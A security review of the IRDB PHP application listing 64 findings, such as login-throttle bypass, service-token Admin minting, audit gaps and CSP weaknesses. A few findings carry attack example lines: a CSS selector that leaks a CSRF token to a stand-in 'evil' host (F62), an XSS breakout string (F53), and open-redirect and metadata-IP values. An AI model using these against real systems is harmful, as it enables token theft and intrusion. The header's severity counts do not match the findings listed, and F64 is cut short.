# IRDB Security Review

> Scope: full source tree at `api/src`, `ui/src`, `api/docker`, `ui/docker`,
> `Dockerfile`s, `docker-compose.yml`, `compose.scheduler.yml`, `.env.example`,
> Twig templates and Caddy configuration. Vendored dependencies were not audited
> (no `composer audit` / `npm audit` was run for this review).
>
> Severity scale: **1** = low / informational, **2** = medium, **3** = high /
> critical. Severity reflects both impact and ease of exploitation in the
> documented deployment topology.
>
> Each finding is referenced as **F<N>** for later citation.
>
> **Findings rolled up:** 5 sev-3, 27 sev-2, 42 sev-1.

---

## Severity 3 — high / critical

### F1 — Login throttle bypass via spoofed `X-Forwarded-For`
- **Files:** `ui/src/Auth/LocalLoginController.php:117-130`,
  `ui/src/Auth/LoginThrottle.php:131-137`
- **Risk:** `extractSourceIp()` reads the first hop of `X-Forwarded-For`
  without verifying the immediate peer is a configured trusted proxy.
  The throttle bucket is `(lower(username), source_ip)`, so an attacker
  rotates the `X-Forwarded-For` value per request — every attempt is a
  fresh bucket and the 5/10/15-failure ladder never trips. Defeats the
  documented brute-force protection on the local-admin password.
  Argon2id slows it but does not prevent it. The UI is also reachable
  on `:8080` directly per `docker-compose.yml`.
- **Severity: 3**

### F2 — Throttle bucket includes IP → IP-rotation defeats the per-user lockout
- **File:** `ui/src/Auth/LoginThrottle.php:131-137`
- **Risk:** The bucket key is `(username, source_ip)`. Even ignoring F1,
  there is no bucket that counts attempts against a *username* across
  IPs. An attacker on a distributed source (or a residential proxy
  pool) gets unlimited password attempts against the single
  `LOCAL_ADMIN_USERNAME` account because each new IP is a fresh bucket.
- **Severity: 3**

### F3 — Service token + `upsertLocal` mints arbitrary Admin users with no audit, RBAC, rate-limit, or impersonation
- **Files:** `api/src/App/AppFactory.php:156-169`,
  `api/src/Application/Auth/AuthController.php:56-77`,
  `api/src/Infrastructure/Auth/UserRepository.php:119-159`
- **Risk:** The `/api/v1/auth/*` route group attaches only
  `$tokenAuth` — no `RbacMiddleware`, no `$impersonation`, no
  `$auditContext`, no `$rateLimit`. The controller's only check is
  "kind == Service". `UserRepository::upsertLocal` *unconditionally*
  assigns `Role::Admin` regardless of input. Anyone holding the service
  token (in env, masked-prefix-visible in `/admin/config`, baked into
  the UI image) can `POST /api/v1/auth/users/upsert-local
  {"username":"x"}` to create a new Admin user id and then impersonate
  it via `X-Acting-User-Id` on every other admin endpoint. A leaked
  service token is a single-step total compromise with no log trail.
- **Severity: 3**

### F4 — Audit emit is non-transactional with state mutation
- **Files:** `api/src/Infrastructure/Audit/DbAuditEmitter.php:37-48`;
  controller pattern e.g. `api/src/Application/Admin/ManualBlocksController.php:138-157`,
  `ReportersController.php:103-116, 198-211`,
  `PoliciesController.php:135-140, 241-246, 278-283`,
  `AllowlistController.php:126-131`
- **Risk:** Every admin write performs the mutation first, then calls
  `audit->emit(...)` *outside* a transaction. `DbAuditEmitter::emit`
  catches `Throwable`, logs `audit_emit_failed`, and returns void. Any
  DB error, lock timeout, JSON encoding failure, or process kill
  between mutation and audit insert leaves the state changed with no
  audit row. An attacker with admin privileges who can intentionally
  fail the audit insert (e.g. abusing long `details_json` under MySQL
  strict mode, or racing audit-table maintenance) mutates state without
  being audited. Integrity of the audit log depends entirely on a
  best-effort second write.
- **Severity: 3**

### F5 — User creation and role assignment emit no audit
- **Files:** `api/src/Application/Auth/AuthController.php:29-77`
  (`upsertOidc`, `upsertLocal`)
- **Risk:** `/api/v1/auth/users/upsert-oidc` and `upsert-local` create or
  update users including assigning roles via OIDC group mapping or the
  local-admin bootstrap, and emit no `AuditEmitter` calls. Privilege
  grants and account creation — primary SOC/ISO 27001 events — are
  invisible in the audit log. Combined with F3, an attacker who
  compromises the service token can grant themselves Admin without
  trace.
- **Severity: 3**

---

## Severity 2 — medium

### F6 — Throttle store is per-process in memory; lost on worker recycle
- **File:** `ui/src/Auth/LoginThrottle.php:38, 43-48, 92`
- **Risk:** Counters live only in the FrankenPHP worker process. Worker
  recycling on memory pressure or fixed request counts wipes counters
  and gives the attacker fresh attempts. Multi-worker FrankenPHP
  multiplies allowed attempts by N silently. No persistent (DB / Redis)
  backing.
- **Severity: 2**

### F7 — Username enumeration via response timing on local login
- **File:** `ui/src/Auth/LocalLoginController.php:77-78`
- **Risk:** `password_verify` only runs after `usernameOk` evaluates
  truthy, so the request takes Argon2id time (tens to hundreds of ms)
  on a username match versus microseconds on a miss. An unauthenticated
  attacker enumerates the configured `LOCAL_ADMIN_USERNAME` value.
  Mitigation: always run a dummy `password_verify` against a fixed
  hash regardless of username match.
- **Severity: 2**

### F8 — `headers_sent()` short-circuit silently skips session regeneration / clear
- **Files:** `ui/src/Auth/SessionManager.php:43-53, 67-75, 101-107`
- **Risk:** Both `regenerateId()` and `clear()` are gated on
  `!headers_sent()`. If headers are sent before middleware (warning
  output, accidental whitespace, error rendering), login does not
  rotate the session id. An attacker who pre-seeded a victim's
  `irdb_session` cookie can ride that session post-login (classic
  session fixation). Should fail-closed instead of silently
  no-op'ing.
- **Severity: 2**

### F9 — OIDC session id not regenerated *before* the handshake starts
- **Files:** `ui/src/Auth/OidcController.php:39-47, 89`,
  `ui/src/Auth/JumbojettOidcAuthenticator.php:33-94`
- **Risk:** `state`, `nonce`, and `code_verifier` are stashed in
  `$_SESSION` during `/login/oidc`. Regeneration only happens after
  a successful `upsert` (line 89). If an attacker can fixate a session
  id in a victim's browser before `/login/oidc` is hit (hostile
  network, sibling subdomain, or the F8 race), the attacker shares the
  same `$_SESSION` and can later hijack the session. Standard
  hardening regenerates on `initiate()` *before* redirecting to the
  IdP.
- **Severity: 2**

### F10 — Open redirect via attacker-controllable `next` parameter
- **Files:** `ui/src/Auth/SessionManager.php:139-150` (`setNext` /
  `consumeNext`), used by `ui/src/Auth/OidcController.php:98-100`,
  `ui/src/Auth/LocalLoginController.php:106-108`,
  `ui/src/Controllers/AllowlistController.php:126-128`,
  `ui/src/Controllers/ManualBlocksController.php:168-170`
- **Risk:** After a delete action, `next` from the form body is sent
  verbatim as `Location:` with no validation that the value starts with
  a single `/` (not `//evil.example.com`) and no scheme allowlist. An
  authenticated operator/admin tricked into submitting a forged form
  (or any reflected XSS that auto-submits with the legitimate CSRF
  token) gets a 303 redirect to an arbitrary host from the trusted
  IRDB origin — high-quality phishing pivot. The login-flow
  `consumeNext()` path is currently safe (`AuthRequiredMiddleware`
  controls the source), but `setNext()` itself is unrestricted.
- **Severity: 2**

### F11 — Service-token impersonation accepts any user id with no allow-list, no active-status gate
- **Files:** `api/src/Infrastructure/Http/Middleware/ImpersonationMiddleware.php:38-77`,
  `api/src/Infrastructure/Auth/UserRepository.php:28-37`
- **Risk:** Service-token holders can impersonate any user id by
  setting `X-Acting-User-Id`. There is no allow-list, no
  "disabled"/"locked" check (no such column on `users`), and no
  separate audit signal. Combined with F3, a leaked service token is
  unconstrained Admin.
- **Severity: 2**

### F12 — Local-admin lookup matches on `display_name` without uniqueness guarantee
- **Files:** `api/src/Infrastructure/Auth/UserRepository.php:50-60, 119-160`
- **Risk:** `findLocalByUsername()` matches on `display_name` AND
  `is_local=1`, with no DB-enforced uniqueness on the pair.
  `LIMIT 1` silently picks one row. A hostile/compromised IdP that
  pushes an OIDC user with the same `display_name` (and a later data
  fix flipping `is_local`) could be matched on local-admin login,
  binding the local-admin password to the wrong identity.
- **Severity: 2**

### F13 — Service token rotation leaves the old hash valid indefinitely
- **File:** `api/src/Infrastructure/Auth/ServiceTokenBootstrap.php:65-89`
- **Risk:** When the bootstrap detects a different service-kind row
  (rotation in progress), it inserts the new row but does not revoke
  the old. Both tokens remain valid. With no operator tooling for
  service-token revocation, rotated tokens may live forever in
  `api_tokens`. If an old token leaks (config snapshot, image layer)
  the attacker authenticates indefinitely.
- **Severity: 2**

### F14 — `/api/v1/auth/*` has no rate limit
- **File:** `api/src/App/AppFactory.php:156-169`
- **Risk:** The auth group has only `$tokenAuth`. `RateLimitMiddleware`
  is not attached. `getUser/{id}` allows enumeration (F17), and
  combined with F3 a leaked service token gets unlimited writes.
- **Severity: 2**

### F15 — `MaintenanceController::seedDemo` requires no confirmation token
- **File:** `api/src/Application/Admin/MaintenanceController.php:279-288`
- **Risk:** Asymmetric with `purge` which gates on `confirm: "PURGE"`.
  Any actor with admin role (or a compromised service token via F3)
  can issue a single POST and load thousands of synthetic
  reports/IPs/blocks into a production database. The 409
  "already_seeded" check is keyed only on a literal demo-named
  reporter, so after a partial purge the seed will re-fire. Also a
  cheap repeated-write DoS.
- **Severity: 2**

### F16 — Admin-role API tokens are not bound to a `user_id` → privilege persists after offboarding
- **Files:** `api/src/Application/Admin/TokensController.php:142-155, 166-177`,
  `api/src/Infrastructure/Http/Middleware/TokenAuthenticationMiddleware.php:67`,
  `api/src/Infrastructure/Http/Middleware/RbacMiddleware.php:51-59`
- **Risk:** When an Admin user creates an admin-kind token, the
  `TokenRecord` carries `role` but no `userId`. If the user issuing
  the token is later demoted/disabled/removed, the token continues
  to grant Admin until manually revoked. There is no UI/API to list
  tokens by issuer.
- **Severity: 2**

### F17 — `GET /api/v1/auth/users/{id}` enables enumeration of internal user records
- **File:** `api/src/Application/Auth/AuthController.php:79-104`
- **Risk:** A service-token holder can iterate `/users/1`,
  `/users/2`, ... and exfiltrate every user's `email`, `display_name`,
  `role`, `is_local`. No rate limit (F14), no audit (F5), no
  defensive sleep.
- **Severity: 2**

### F18 — Containers run as root (no `USER` directive)
- **Files:** `api/Dockerfile:42-43`, `ui/Dockerfile:46-47`
- **Risk:** Neither Dockerfile sets a `USER`. PHP/FrankenPHP/Caddy run
  as UID 0. Any RCE in PHP code, dependency CVE, or FrankenPHP/Caddy
  CVE gets root inside the container. No `--chown` on `COPY`. The
  `irdb-data:/data` volume is owned by root.
- **Severity: 2**

### F19 — No `.dockerignore` — host artifacts baked into images
- **Files:** build context roots `api/`, `ui/`; `COPY . ./` lines
  `api/Dockerfile:31`, `ui/Dockerfile:37`
- **Risk:** No `.dockerignore` ships in either subproject. `tests/`,
  `db/migrations/`, `bin/console`, `.phpstan.cache/`,
  `.phpunit.cache/`, `node_modules/` (UI), `composer.lock` are baked
  into the image. The repo-root `.env` is outside the build context
  by happenstance — any future developer who drops `.env`,
  `.env.local`, or a fixture into `api/` or `ui/` will silently bake
  it into the published image. Test fixtures and `bin/console` are
  also available to any future LFI / arbitrary-file-read primitive.
- **Severity: 2**

### F20 — Application source is writable by the process serving requests
- **Files:** `api/Dockerfile:36-38`, `ui/Dockerfile:42`
- **Risk:** Combined with F18, any RCE-grade bug allows the attacker
  to overwrite PHP source files in `/app` (vendor, src,
  `public/index.php`) and persist via the next request. A `USER`
  directive plus stricter perms (read-only `/app`, writable only
  `/data`) blocks this persistence path.
- **Severity: 2**

### F21 — `getTraceAsString` logged in production may leak plaintext credentials
- **Files:** `api/src/Infrastructure/Http/JsonErrorHandler.php:48`,
  `api/src/Infrastructure/Jobs/JobRunner.php:91`
- **Risk:** PHP's stringified backtrace inlines scalar arguments to
  each frame. An exception thrown from inside `password_verify`, a
  Guzzle request setter, or any function called with a token/password
  as an argument writes the *plaintext* secret into the trace.
  `SecretScrubbingProcessor` matches Argon2/bcrypt hashes and
  `irdb_*` token shapes but does not match arbitrary plaintext
  passwords or generic OIDC `client_secret` values, so password-spray
  and OIDC misconfig errors leak via stdout logs.
- **Severity: 2**

### F22 — `compose.scheduler.yml` runs `apk add` at every container start
- **File:** `compose.scheduler.yml:3-8`
- **Risk:** `image: alpine:3` (no digest, no minor pin) plus
  `apk add --no-cache curl tini` at runtime means each restart pulls
  whatever Alpine ships that minute. A compromise of the Alpine
  package mirror (or typosquatting) gets root in the scheduler
  container, which holds `INTERNAL_JOB_TOKEN` and can call
  `/internal/jobs/*`. Pin the base image digest and the apk versions
  or build a real image.
- **Severity: 2**

### F23 — `jumbojett/openid-connect-php ^1.x` constraint pins a major with historical CVEs
- **File:** `ui/composer.json:19`
- **Risk:** The `^1.0` constraint covers a major line that has had
  multiple advisories (e.g. GHSA-jq3w-9mgf-43m4 / CVE-2024-21489 in
  v0.x/early-v1; an iss-confusion advisory in v1.x prior to 1.0.2).
  Given this library is the sole OIDC token-validation entry point,
  drift here is critical. Tighten to `^1.0.2 || ^2.0` after testing
  and run `composer audit` regularly.
- **Severity: 2**

### F24 — UI CSP allows `script-src 'unsafe-inline' 'unsafe-eval'`
- **File:** `ui/docker/Caddyfile:33`
- **Risk:** `'unsafe-inline'` permits inline `<script>` blocks AND
  inline event handlers (`x-on:click`, `onclick`). Any stored or
  reflected XSS sink elsewhere in the app executes unimpeded. The
  trade-off is documented (Alpine.js v3 `Function()` evaluator), but
  CSP is here a defence-in-depth string only — XSS is fully
  exploitable without strict CSP. Migrating to nonces or hashed
  scripts and packaging Alpine-with-CSP-build would close the gap.
- **Severity: 2**

### F25 — Trusted-proxy XFF rewrite + `private_ranges` may allow `/internal/*` bypass
- **Files:** `api/docker/Caddyfile:7-11, 50-62`,
  `api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35`,
  `docker-compose.yml:15-16`
- **Risk:** Caddy is configured `trusted_proxies static private_ranges`,
  so it honors `X-Forwarded-For` and rewrites `REMOTE_ADDR` whenever
  the immediate peer is in any RFC1918 range. The api container's
  port 8081 is published. In a deployment where another container on
  the same docker bridge or a misconfigured host-iptables rule reaches
  port 8081 from a 172.16/12 source, both the Caddyfile gate
  (`remote_ip 127.0.0.1/32 ::1/128 ...`) and the PHP
  `InternalNetworkMiddleware` see a forged source. The
  `INTERNAL_JOB_TOKEN` is still required, but the network-layer
  defense is bypassable on tenant-shared docker hosts.
- **Severity: 2**

### F26 — JsonErrorHandler can leak raw exception messages in production
- **File:** `api/src/Infrastructure/Http/JsonErrorHandler.php:53-82`
- **Risk:** The "hide details in prod" guard fires only when status
  ≥ 500. The `HttpException` branch returns
  `[$e->getCode(), ['error' => $e->getMessage()]]` for codes anywhere
  in 400–499 — attacker-influenced messages are returned verbatim.
  The catch-all branch passes `$e->getMessage()` into the payload
  and only overwrites it with `'internal error'` when status ≥ 500
  AND `!expose`. Internal exception types (DBAL, PDO, parse errors)
  whose `getCode()` happens to be in the 4xx range bypass
  suppression and return raw messages.
- **Severity: 2**

### F27 — `RateLimitMiddleware` is skipped when no principal is present
- **Files:** `api/src/Infrastructure/Http/Middleware/RateLimitMiddleware.php:33-36`
- **Risk:** The middleware bails out and forwards unrate-limited if
  `$principal` is missing. Anything outside the public group
  (admin/auth/internal/health/docs) receives no rate limiting.
  Auth-failed paths (401 from `TokenAuthenticationMiddleware`) never
  reach `RateLimitMiddleware` either — a client hammering with
  invalid bearer tokens incurs DB lookups (and `last_used_at` writes
  on hits) with zero backoff, pinning DB pool / connection budget.
- **Severity: 2**

### F28 — Rate limiter buckets are per-process, unbounded, and reset per replica
- **File:** `api/src/Infrastructure/Http/RateLimiter.php:23-49`
- **Risk:** `$buckets` is unbounded and never evicted (token churn
  balloons memory in long-lived FrankenPHP workers). Multi-replica
  deployments give an attacker a fresh bucket per replica — effective
  rate is `(perSecond) * N_replicas` per token behind a non-sticky
  LB. Idle/revoked tokens linger forever until container restart.
- **Severity: 2**

### F29 — `/api/v1/admin/*` group has no rate limit
- **File:** `api/src/App/AppFactory.php:188-337`
- **Risk:** The admin group attaches `tokenAuth → impersonation →
  auditContext` but not `$rateLimit`. Combined with F30 (slow
  searchIps), F31 (deep-offset audit), and F32 (N+1 enrichment), any
  compromised Viewer token (Viewer is the OIDC default role) can
  issue unlimited heavy queries.
- **Severity: 2**

### F30 — `IpScoreRepository::searchIps` allows full-table scan via `q=%X%`
- **File:** `api/src/Infrastructure/Reputation/IpScoreRepository.php:146-307`
- **Risk:** For any `q` value not matching `/^[\da-fA-F:.]+$/`, the
  query degrades to `LIKE '%q%'`, forcing a full `ip_scores` table
  scan + `GROUP BY ip_bin, ip_text` (no index supports a
  non-anchored LIKE). At the SPEC's 50k-row target this is slow.
  Pair with `min_score`/`max_score` HAVING and the LEFT JOIN on
  `ip_enrichment` (joined whenever country or asn is supplied) and a
  Viewer can drive pathological execution per request. There is no
  statement timeout. Each request also runs a separate `COUNT(*)`
  over the same wrapped subquery, doubling cost.
- **Severity: 2**

### F31 — `AuditController` has no length cap, no max-offset cap, deep-offset scans
- **Files:** `api/src/Application/Admin/AuditController.php:58-101`,
  `api/src/Infrastructure/Audit/AuditRepository.php:68-129`
- **Risk:** `action`, `entity_type`, `entity_id`, `subject_id` are
  passed unfiltered. With `page_size=200` and large `offset`,
  `LIMIT 200 OFFSET huge` causes a deep scan over `audit_log`. No
  max-offset cap. `COUNT(*)` runs on every paginated request. A
  logged-in Viewer can hit `?page=999999&page_size=200` to force
  scans repeatedly.
- **Severity: 2**

### F32 — Admin list endpoints execute N+1 enrichment lookups per page row
- **Files:** `api/src/Application/Admin/IpsController.php:84-86, 187-190`,
  `api/src/Application/Admin/AdminControllerSupport.php:67-77`
- **Risk:** `IpsController::list` calls
  `enrichment->findByIpBin()` and `effectiveStatusFor()` per row.
  At `page_size=200`, that's 400+ DB roundtrips per request. With
  no admin rate limit (F29), this amplifies query cost
  significantly. Refactor to batch-load enrichment by ip_bin set.
- **Severity: 2**

---

## Severity 1 — low / informational

### F33 — `OidcClaims->email` is `?string` but `upsertOidc` types it as `string`
- **Files:** `api/src/Infrastructure/Auth/UserRepository.php:65-71`,
  `ui/src/Auth/JumbojettOidcAuthenticator.php:56-61`
- **Risk:** Type-system finding rather than direct exploit; a TypeError
  at the boundary on null email. Downstream merge-by-email tools could
  later confuse two users since the OIDC primary key is `subject` but
  some IdPs don't release `email`.
- **Severity: 1**

### F34 — Sensitive identifiers logged at INFO/WARN/ERROR
- **Files:** `ui/src/Auth/LoginThrottle.php:79-90`,
  `ui/src/Auth/OidcController.php:84`
- **Risk:** Attempted usernames (which can include passwords typed in
  the wrong field), source IPs, and OIDC subjects are logged in
  plaintext. SIEM exports / log access by lower-trust operators
  amount to accidental disclosure.
- **Severity: 1**

### F35 — `INTERNAL_JOB_TOKEN` has no minimum-length enforcement at startup
- **File:** `api/src/Infrastructure/Http/Middleware/InternalTokenMiddleware.php:35-47`
- **Risk:** `hash_equals` is correct, but a misconfigured deploy with
  `INTERNAL_JOB_TOKEN=foo` is accepted as long as it is non-empty.
  Network gate (`InternalNetworkMiddleware`) limits exposure but
  combined with F25 a docker-network neighbour can brute-force a
  weak token. Validate at startup that the token is at least 32 hex
  chars or refuse to boot.
- **Severity: 1**

### F36 — UI session role/identity is captured at login and never re-validated
- **Files:** `ui/src/Http/AuthRequiredMiddleware.php:27-32`,
  `ui/src/Auth/SessionManager.php:84-99`
- **Risk:** If an OIDC user is removed from an admin group in Entra,
  or a user record is deleted/disabled in the api, the existing UI
  session continues to operate with the stale role until expiry
  (8h idle / 24h absolute). No "revoke session by user_id"
  primitive.
- **Severity: 1**

### F37 — Local-admin password hash algorithm not validated at boot
- **File:** `ui/src/Auth/LocalLoginController.php:42, 78`
- **Risk:** No check that `LOCAL_ADMIN_PASSWORD_HASH` is Argon2id (or
  bcrypt cost ≥ 12). An operator who passes `$2y$04$…` (cost 4) or a
  legacy `$1$…` MD5-crypt string would have it accepted. Use
  `password_get_info()` and refuse to enable local-admin if the
  algorithm is below threshold.
- **Severity: 1**

### F38 — Disabled local-admin returns 404 *before* throttle, allowing unrestricted hammering
- **File:** `ui/src/Auth/LocalLoginController.php:60-62`
- **Risk:** When `localAdminEnabled === false`, the controller 404s
  with no rate-limit. Worker threads still serve the request — a
  cheap DoS lever on environments with the local path disabled.
- **Severity: 1**

### F39 — Token base32 encoding has trailing-bit ambiguity
- **Files:** `api/src/Domain/Auth/Token.php:18, 47`,
  `api/src/Domain/Auth/TokenIssuer.php:26-43`
- **Risk:** The encoder zero-pads the final 5-bit chunk, so the last
  base32 char encodes only 4 useful bits — 32 possible last
  characters decode to 16 distinct values modulo the unused bit.
  No exploit found (lookup is by SHA-256 of the raw input), but the
  parser should refuse base32 strings whose final character has the
  unused bit set.
- **Severity: 1**

### F40 — CSRF token never rotated on session-id regeneration
- **Files:** `ui/src/Http/CsrfMiddleware.php:53-60`,
  `ui/src/Auth/SessionManager.php:67-75, 77-82`
- **Risk:** `regenerateId()` rotates `session_id` on login but the
  `$_SESSION['_csrf']` token carries over across the privilege
  boundary. A pre-auth token leaked via referer or a sub-resource
  remains valid post-auth for the session lifetime. Standard
  hardening: regenerate the CSRF token on login/logout. (`clear()`
  resets `$_SESSION` to `[]` so logout is fine.)
- **Severity: 1**

### F41 — Reporter / consumer `audit_enabled` is mass-assignable via PATCH
- **Files:** `api/src/Application/Admin/ReportersController.php:178-184`,
  `api/src/Application/Admin/ConsumersController.php:184-190`
- **Risk:** Admin-gated, but an attacker with Admin can silently
  disable `report.received` / `blocklist.requested` audit emission
  for a reporter/consumer before performing further activity, then
  re-enable. No special-class audit signal flags the toggle.
- **Severity: 1**

### F42 — UI policy proxy controllers rely entirely on API for role enforcement
- **File:** `ui/src/Controllers/PoliciesController.php:61-118`
- **Risk:** `previewProxy` / `scoreDistributionProxy` only check
  `getUser() === null` and forward to the API with the session userId
  as `X-Acting-User-Id`. Currently safe because API gates the
  underlying endpoint to Viewer, but if the API role drifts the UI
  silently allows access until an API 403 surfaces. Defense-in-depth:
  enforce the role expectation in the UI controller.
- **Severity: 1**

### F43 — `/admin/ips/{ip:.+}` route pattern is permissive
- **Files:** `api/src/App/AppFactory.php:256`,
  `ui/src/App/AppFactory.php:130`,
  `api/src/Application/Admin/IpsController.php:121-127`
- **Risk:** `.+` matches multi-segment paths. Currently safe because
  `IpAddress::fromString` rejects non-IP strings, but any future
  reuse of `$args['ip']` as a filename, log key, or downstream URL
  component inherits a path-traversal sink. Tighten to a strict IP
  charset regex.
- **Severity: 1**

### F44 — Job name not strictly regex-validated before audit emission
- **File:** `api/src/Application/Admin/JobsAdminController.php:90-130`
- **Risk:** `registry->has($name)` is the gate. A future change that
  trims/url-decodes inside `has()` could turn the audit-emit path
  into log injection or forged audit entries. Validate against
  `^[a-z0-9_-]+$` in the controller.
- **Severity: 1**

### F45 — `InternalNetworkMiddleware` admits the entire RFC1918 universe
- **File:** `api/src/Infrastructure/Http/Middleware/InternalNetworkMiddleware.php:29-35`
- **Risk:** Allowed CIDRs are `10.0.0.0/8`, `172.16.0.0/12`,
  `192.168.0.0/16`, plus loopback. Any container reachable on the
  internal docker network passes the network gate. Safer: pin to a
  named docker-compose network or to the explicit scheduler IP.
- **Severity: 1**

### F46 — LIKE wildcard injection in IPs search `q`
- **File:** `api/src/Infrastructure/Reputation/IpScoreRepository.php:155-162`
- **Risk:** `q` is bound parametrically (no SQLi) but `%` and `_`
  meta-characters are not escaped. `?q=%` matches every row;
  `?q=_____...` is a quadratic backtrack vector. The `IpsController`
  validator only `trim()`s `q`; no length cap.
- **Severity: 1**

### F47 — Unbounded length on string filters reaching SQL
- **Files:** `api/src/Application/Admin/AuditController.php:58-83`,
  `api/src/Infrastructure/Audit/AuditRepository.php:81-101`
- **Risk:** `action`, `entity_type`, `entity_id`, `subject_kind`,
  `subject_id` are accepted as arbitrary-length strings. Bound
  parametrically (no SQLi) but multi-megabyte values are happily
  forwarded to the prepared statement, wasting RAM/CPU per request.
  Apply max length 128 plus an allowlist regex on `*_kind` fields.
- **Severity: 1**

### F48 — MaxMind tarball extraction has no decompressed-size cap
- **File:** `api/src/Infrastructure/Enrichment/Downloaders/MaxMindDownloader.php:90-98`
- **Risk:** `PharData::extractTo` rejects `..` traversal since PHP 8,
  so direct path-traversal is mitigated, but there is no per-entry
  size cap. A small `.tar.gz` could decompress into multi-GB MMDB
  and exhaust disk before `MmdbVerifier` sees it. Iterate `$phar`
  manually and enforce a max uncompressed size.
- **Severity: 1**

### F49 — DB-IP gunzip has no decompressed-size cap
- **File:** `api/src/Infrastructure/Enrichment/Downloaders/DbipDownloader.php:108-126`
- **Risk:** `gzdecode($compressed)` allocates the full decompressed
  payload. A malicious or compromised DB-IP endpoint (or a TLS-trust
  misconfiguration) could serve a tiny gzip whose decompressed form
  is multi-GB, OOM-killing the api. Stream via `gzopen`/`gzread` and
  bail past a threshold.
- **Severity: 1**

### F50 — Guzzle client used by GeoIP downloaders allows redirects without host filtering
- **File:** `api/src/App/Container.php:279-288`
- **Risk:** `connect_timeout`/`timeout` are set but `allow_redirects`
  defaults to "follow up to 5", with no `protocols`/`strict`/`referer`
  constraints. A malicious upstream or DNS poisoning could 302 a
  download to `http://169.254.169.254/...` or `file://`. URL is a
  constant in the default deploy, so this is defence-in-depth.
  Mitigation:
  `allow_redirects => ['max'=>3,'protocols'=>['https'],'strict'=>true,'referer'=>false]`
  plus a private-IP guard.
- **Severity: 1**

### F51 — `RoleMappingRepository` placeholder generation does not enforce list shape
- **File:** `api/src/Infrastructure/Auth/RoleMappingRepository.php:31-36`
- **Risk:** Safe today because the only caller passes a typed list,
  but the `sprintf` pattern is fragile. Add
  `array_filter($groupIds, 'is_string')` to make the contract
  explicit.
- **Severity: 1**

### F52 — Reporter / consumer / category `name`/`reason` accept control characters
- **Files:** `api/src/Application/Admin/ReportersController.php:69-72`,
  `ConsumersController.php:67-70`,
  `ManualBlocksController.php`, `AllowlistController.php`,
  `CategoriesController.php`
- **Risk:** NULs, newlines, ANSI escapes land in
  `audit_log.target_label` and `details_json`. Twig auto-escapes for
  display, but log-injection (`\n[CRIT] fake event`) is possible
  downstream. Strip control chars and NFC-normalise at the input
  boundary.
- **Severity: 1**

### F53 — Stored-XSS sink potential in `categories/edit.twig` `decay_function`
- **File:** `ui/resources/views/pages/categories/edit.twig:7-10`
- **Risk:**
  `x-data="decayPreview({ fn: '{{ category.decay_function }}', ... })"`.
  Twig's default `e('html')` escapes `'` to `&#039;`. The browser
  HTML-decodes the attribute before Alpine evaluates it as JS, so
  `&#039;` becomes a literal `'` and breaks out of the JS string. If
  `decay_function` ever stores `a'); alert(1);//` (API enum drift),
  it executes. Combined with F24 (CSP `'unsafe-inline'`), live XSS.
  Use `e('js')` for content interpolated into a JS-attribute.
- **Severity: 1**

### F54 — CSRF middleware lacks `Origin` / `Referer` defence in depth
- **File:** `ui/src/Http/CsrfMiddleware.php:30, 40-48, 62-74`
- **Risk:** Token validation is correct (constant-time compare,
  256-bit entropy). Missing layered checks. No JSON-body extraction
  path (the middleware reads only header or `getParsedBody()`); fine
  today, brittle for future PUT/PATCH endpoints with JSON.
- **Severity: 1**

### F55 — `e('html_attr')` in Alpine `x-data` JS-attribute
- **File:** `ui/resources/views/pages/ips/detail.twig:166-171`
- **Risk:** Escape-strategy mismatch — `html_attr` vs the JS evaluator
  Alpine runs the attribute through. Backticks aren't escaped,
  Unicode permissive. A maintainer footgun more than an exploit.
  Use `data-foo='{{ x|json_encode|e("html_attr") }}'` on a
  non-Alpine element and read via `dataset.foo` + `JSON.parse` (the
  pattern already used in `dashboard.twig`).
- **Severity: 1**

### F56 — Inline `<script>` blocks in many templates force CSP `'unsafe-inline'`
- **Files:** `ui/resources/views/pages/ips/detail.twig:274-392`,
  `pages/categories/edit.twig:111-135`,
  `pages/policies/edit.twig:139-422`,
  `pages/audit/index.twig:102-131`,
  `layout.twig:9-22`
- **Risk:** Inline scripts plus event handlers force `'unsafe-inline'`
  (F24). Migrating to per-request nonces, or moving these scripts
  into a packaged `/assets/app.js`, lets the CSP drop the
  `'unsafe-inline'` token.
- **Severity: 1**

### F57 — Session cookie name lacks `__Host-` prefix
- **File:** `ui/src/Auth/SessionManager.php:23, 54-62`
- **Risk:** Attributes are correct (`HttpOnly`, prod `Secure`,
  `SameSite=Lax`, `path=/`, no `Domain`). Adding `__Host-` enforces
  these at the browser and prevents subdomain cookie shadowing.
  Free defence-in-depth.
- **Severity: 1**

### F58 — `/api/docs` CSP allows external CDN without SRI
- **File:** `api/docker/Caddyfile:41`
- **Risk:** `script-src 'unsafe-inline' https://cdn.jsdelivr.net`. If
  the CDN is compromised or RapiDoc serves user-influenced content,
  the docs page executes attacker JS. Add SRI hashes on the RapiDoc
  tag, or vendor a copy locally.
- **Severity: 1**

### F59 — Missing modern hardening headers
- **Files:** `ui/docker/Caddyfile:18-34`,
  `api/docker/Caddyfile:24-30`
- **Risk:** No `Cross-Origin-Opener-Policy`,
  `Cross-Origin-Resource-Policy`, or
  `X-Permitted-Cross-Domain-Policies`. `Permissions-Policy` covers
  only `geolocation`, `microphone`, `camera`. Cheap to add the
  rest.
- **Severity: 1**

### F60 — HSTS lacks `preload`
- **Files:** `ui/docker/Caddyfile:37`, `api/docker/Caddyfile:36`
- **Risk:** Informational. Operators who want HSTS preload need to
  add the directive.
- **Severity: 1**

### F61 — Caddy `Permissions-Policy` minimal
- **Files:** `ui/docker/Caddyfile:24`, `api/docker/Caddyfile:30`
- **Risk:** Modern hardening also denies `interest-cohort`,
  `payment`, `usb`, `magnetometer`, `gyroscope`, `accelerometer`,
  `fullscreen`, `display-capture`, `clipboard-read`, etc.
- **Severity: 1**

### F62 — CSP `style-src 'unsafe-inline'` enables CSS-attribute-selector exfiltration
- **File:** `ui/docker/Caddyfile:33`
- **Risk:** With an HTML-injection (sub-XSS) primitive, an attacker
  can write CSS like
  `input[name=csrf_token][value^="a"] { background-image: url(//evil/?p=a); }`
  to leak the CSRF token char-by-char. Drop `'unsafe-inline'` for
  `style-src` and move dynamic widths to a stylesheet driven by
  `data-*` attributes.
- **Severity: 1**

### F63 — Twig `autoescape` default is not explicitly configured
- **File:** `ui/src/App/Container.php:105-131`
- **Risk:** Defaults to `'html'` today, but a future Twig major or
  Slim-twig wrapper change could quietly flip it. Pin
  `'autoescape' => 'html'`.
- **Severity: 1**

### F64 — `compose.scheduler.yml` references a missing crontab file
- **File:** `compose.scheduler.yml:10` (`./docker/scheduler.crontab`)
- **Risk:** The bind-mount source does not exist in the repository.
